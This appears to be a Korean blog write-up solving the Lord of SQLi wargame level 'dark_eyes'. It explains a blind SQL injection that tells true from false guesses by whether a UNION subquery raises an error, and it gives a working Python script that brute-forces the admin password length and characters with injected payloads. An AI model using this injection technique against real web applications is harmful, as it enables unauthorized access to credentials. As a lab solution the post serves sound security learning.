
22번째 dark_eyes 다.
col if case when sleep benchmark 가 필터링 되어 있다.
또한 에러 메세지가 출력되지 않기 때문에 에러가 뜨는지 안뜨는지에 따라 pw를 구해야 한다.
이를 위해 UNION 문을 사용할 것이다.
우리가 UNION을 사용할 때 알아야 할 가장 기본적인 것은 앞과 뒤의 서브쿼리가 반환할 값의 개수가 같아야 한다는 것이다.
현재 쿼리는
select id from prob_dark_eyes where id='admin' and pw=''
으로 전체적으로 단일 값 ‘admin’ 만을 반환할 것이다.
여기서 만약 복수의 값을 반환하는 서브쿼리
?pw='' or (select 1 select union 2);-- -
를 만들어 넣으면

이렇게 에러가 난다.
또한 UNION 문을 사용할 때 앞 뒤 SELECT 에서 같은 값을 반환할 경우 이는 하나의 값으로 인정된다.
이게 무슨 말이냐 하면

이런 식으로 된다는 말이다.
위 두 가지를 이해하고 적용하면
pw를 brute forcing 하면서 참일 경우 단일 값이 반환되어 에러가 안뜨고, 거짓일 경우 복수 값이 반환되어 에러가 뜨도록 하면 되는 것이다.
import requests
php = 'h3f5ptfm8b4nsjqe8o23jfji39'
for i in range(1,100):
r = requests.get(url, params={'pw':f"'or id='admin' and (select 1 union select length(pw)={i});-- -"},cookies={'PHPSESSID':php})
if r.text:
print(f'password length = {i}')
break
password = ''
for i in range(1,9):
for j in range(33,200):
r = requests.get(url, params={'pw':f"' or id='admin' and (select 1 union select ascii(substr(pw,{i},1))='{j}');-- -"},cookies={'PHPSESSID':php})
if r.text:
print(f'{i} password --> {j}')
password += chr(j)
break
print(password)

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - evil_wizard (0) | 2024.10.18 |
|---|---|
| LOS - hell_fire (0) | 2024.10.18 |
| LOS - iron_golem (0) | 2024.10.18 |
| LOS - dragon (0) | 2024.10.18 |
| LOS - xavis (0) | 2024.10.18 |